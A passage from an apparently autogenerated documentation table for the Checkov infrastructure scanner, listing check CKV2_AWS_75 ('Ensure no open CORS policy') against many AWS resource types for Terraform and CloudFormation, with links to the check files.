| CKV2_AWS_75              | resource                         | aws_schemas_schema                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4926 | CKV2_AWS_75              | resource                         | aws_schemas_schema                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4927 | CKV2_AWS_75              | resource                         | aws_secretsmanager_secret                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4928 | CKV2_AWS_75              | resource                         | aws_secretsmanager_secret                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4929 | CKV2_AWS_75              | resource                         | aws_secretsmanager_secret_policy                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4930 | CKV2_AWS_75              | resource                         | aws_secretsmanager_secret_policy                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4931 | CKV2_AWS_75              | resource                         | aws_secretsmanager_secret_rotation                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4932 | CKV2_AWS_75              | resource                         | aws_secretsmanager_secret_rotation                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4933 | CKV2_AWS_75              | resource                         | aws_secretsmanager_secret_version                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4934 | CKV2_AWS_75              | resource                         | aws_secretsmanager_secret_version                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4935 | CKV2_AWS_75              | resource                         | aws_security_group                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4936 | CKV2_AWS_75              | resource                         | aws_security_group                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4937 | CKV2_AWS_75              | resource                         | aws_security_group_rule                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4938 | CKV2_AWS_75              | resource                         | aws_security_group_rule                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4939 | CKV2_AWS_75              | resource                         | aws_securityhub_account                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4940 | CKV2_AWS_75              | resource                         | aws_securityhub_account                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4941 | CKV2_AWS_75              | resource                         | aws_securityhub_action_target                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4942 | CKV2_AWS_75              | resource                         | aws_securityhub_action_target                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4943 | CKV2_AWS_75              | resource                         | aws_securityhub_automation_rule                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4944 | CKV2_AWS_75              | resource                         | aws_securityhub_automation_rule                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4945 | CKV2_AWS_75              | resource                         | aws_securityhub_configuration_policy                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4946 | CKV2_AWS_75              | resource                         | aws_securityhub_configuration_policy                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4947 | CKV2_AWS_75              | resource                         | aws_securityhub_configuration_policy_association                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4948 | CKV2_AWS_75              | resource                         | aws_securityhub_configuration_policy_association                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4949 | CKV2_AWS_75              | resource                         | aws_securityhub_finding_aggregator                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4950 | CKV2_AWS_75              | resource                         | aws_securityhub_finding_aggregator                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4951 | CKV2_AWS_75              | resource                         | aws_securityhub_insight                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4952 | CKV2_AWS_75              | resource                         | aws_securityhub_insight                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4953 | CKV2_AWS_75              | resource                         | aws_securityhub_invite_accepter                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4954 | CKV2_AWS_75              | resource                         | aws_securityhub_invite_accepter                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4955 | CKV2_AWS_75              | resource                         | aws_securityhub_member                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4956 | CKV2_AWS_75              | resource                         | aws_securityhub_member                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4957 | CKV2_AWS_75              | resource                         | aws_securityhub_organization_admin_account                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4958 | CKV2_AWS_75              | resource                         | aws_securityhub_organization_admin_account                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4959 | CKV2_AWS_75              | resource                         | aws_securityhub_organization_configuration                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4960 | CKV2_AWS_75              | resource                         | aws_securityhub_organization_configuration                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4961 | CKV2_AWS_75              | resource                         | aws_securityhub_product_subscription                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4962 | CKV2_AWS_75              | resource                         | aws_securityhub_product_subscription                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4963 | CKV2_AWS_75              | resource                         | aws_securityhub_standards_control                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4964 | CKV2_AWS_75              | resource                         | aws_securityhub_standards_control                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4965 | CKV2_AWS_75              | resource                         | aws_securityhub_standards_control_association                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4966 | CKV2_AWS_75              | resource                         | aws_securityhub_standards_control_association                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4967 | CKV2_AWS_75              | resource                         | aws_securityhub_standards_subscription                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4968 | CKV2_AWS_75              | resource                         | aws_securityhub_standards_subscription                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4969 | CKV2_AWS_75              | resource                         | aws_securitylake_aws_log_source                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4970 | CKV2_AWS_75              | resource                         | aws_securitylake_aws_log_source                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4971 | CKV2_AWS_75              | resource                         | aws_securitylake_custom_log_source                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4972 | CKV2_AWS_75              | resource                         | aws_securitylake_custom_log_source                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4973 | CKV2_AWS_75              | resource                         | aws_securitylake_data_lake                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4974 | CKV2_AWS_75              | resource                         | aws_securitylake_data_lake                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4975 | CKV2_AWS_75              | resource                         | aws_securitylake_subscriber                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4976 | CKV2_AWS_75              | resource                         | aws_securitylake_subscriber                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4977 | CKV2_AWS_75              | resource                         | aws_securitylake_subscriber_notification                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4978 | CKV2_AWS_75              | resource                         | aws_securitylake_subscriber_notification                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4979 | CKV2_AWS_75              | resource                         | aws_serverlessapplicationrepository_cloudformation_stack                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4980 | CKV2_AWS_75              | resource                         | aws_serverlessapplicationrepository_cloudformation_stack                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4981 | CKV2_AWS_75              | resource                         | aws_service_discovery_http_namespace                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4982 | CKV2_AWS_75              | resource                         | aws_service_discovery_http_namespace                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4983 | CKV2_AWS_75              | resource                         | aws_service_discovery_instance                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4984 | CKV2_AWS_75              | resource                         | aws_service_discovery_instance                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4985 | CKV2_AWS_75              | resource                         | aws_service_discovery_private_dns_namespace                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4986 | CKV2_AWS_75              | resource                         | aws_service_discovery_private_dns_namespace                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4987 | CKV2_AWS_75              | resource                         | aws_service_discovery_public_dns_namespace                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4988 | CKV2_AWS_75              | resource                         | aws_service_discovery_public_dns_namespace                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4989 | CKV2_AWS_75              | resource                         | aws_service_discovery_service                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4990 | CKV2_AWS_75              | resource                         | aws_service_discovery_service                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4991 | CKV2_AWS_75              | resource                         | aws_servicecatalog_budget_resource_association                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4992 | CKV2_AWS_75              | resource                         | aws_servicecatalog_budget_resource_association                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4993 | CKV2_AWS_75              | resource                         | aws_servicecatalog_constraint                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4994 | CKV2_AWS_75              | resource                         | aws_servicecatalog_constraint                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4995 | CKV2_AWS_75              | resource                         | aws_servicecatalog_organizations_access                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4996 | CKV2_AWS_75              | resource                         | aws_servicecatalog_organizations_access                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4997 | CKV2_AWS_75              | resource                         | aws_servicecatalog_portfolio                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4998 | CKV2_AWS_75              | resource                         | aws_servicecatalog_portfolio                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4999 | CKV2_AWS_75              | resource                         | aws_servicecatalog_portfolio_share                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5000 | CKV2_AWS_75              | resource                         | aws_servicecatalog_portfolio_share                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5001 | CKV2_AWS_75              | resource                         | aws_servicecatalog_principal_portfolio_association                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5002 | CKV2_AWS_75              | resource                         | aws_servicecatalog_principal_portfolio_association                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5003 | CKV2_AWS_75              | resource                         | aws_servicecatalog_product                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5004 | CKV2_AWS_75              | resource                         | aws_servicecatalog_product                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5005 | CKV2_AWS_75              | resource                         | aws_servicecatalog_product_portfolio_association                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5006 | CKV2_AWS_75              | resource                         | aws_servicecatalog_product_portfolio_association                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5007 | CKV2_AWS_75              | resource                         | aws_servicecatalog_provisioned_product                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5008 | CKV2_AWS_75              | resource                         | aws_servicecatalog_provisioned_product                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5009 | CKV2_AWS_75              | resource                         | aws_servicecatalog_provisioning_artifact                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5010 | CKV2_AWS_75              | resource                         | aws_servicecatalog_provisioning_artifact                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5011 | CKV2_AWS_75              | resource                         | aws_servicecatalog_service_action                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5012 | CKV2_AWS_75              | resource                         | aws_servicecatalog_service_action                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5013 | CKV2_AWS_75              | resource                         | aws_servicecatalog_tag_option                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5014 | CKV2_AWS_75              | resource                         | aws_servicecatalog_tag_option                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5015 | CKV2_AWS_75              | resource                         | aws_servicecatalog_tag_option_resource_association                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5016 | CKV2_AWS_75              | resource                         | aws_servicecatalog_tag_option_resource_association                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5017 | CKV2_AWS_75              | resource                         | aws_servicecatalogappregistry_application                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | 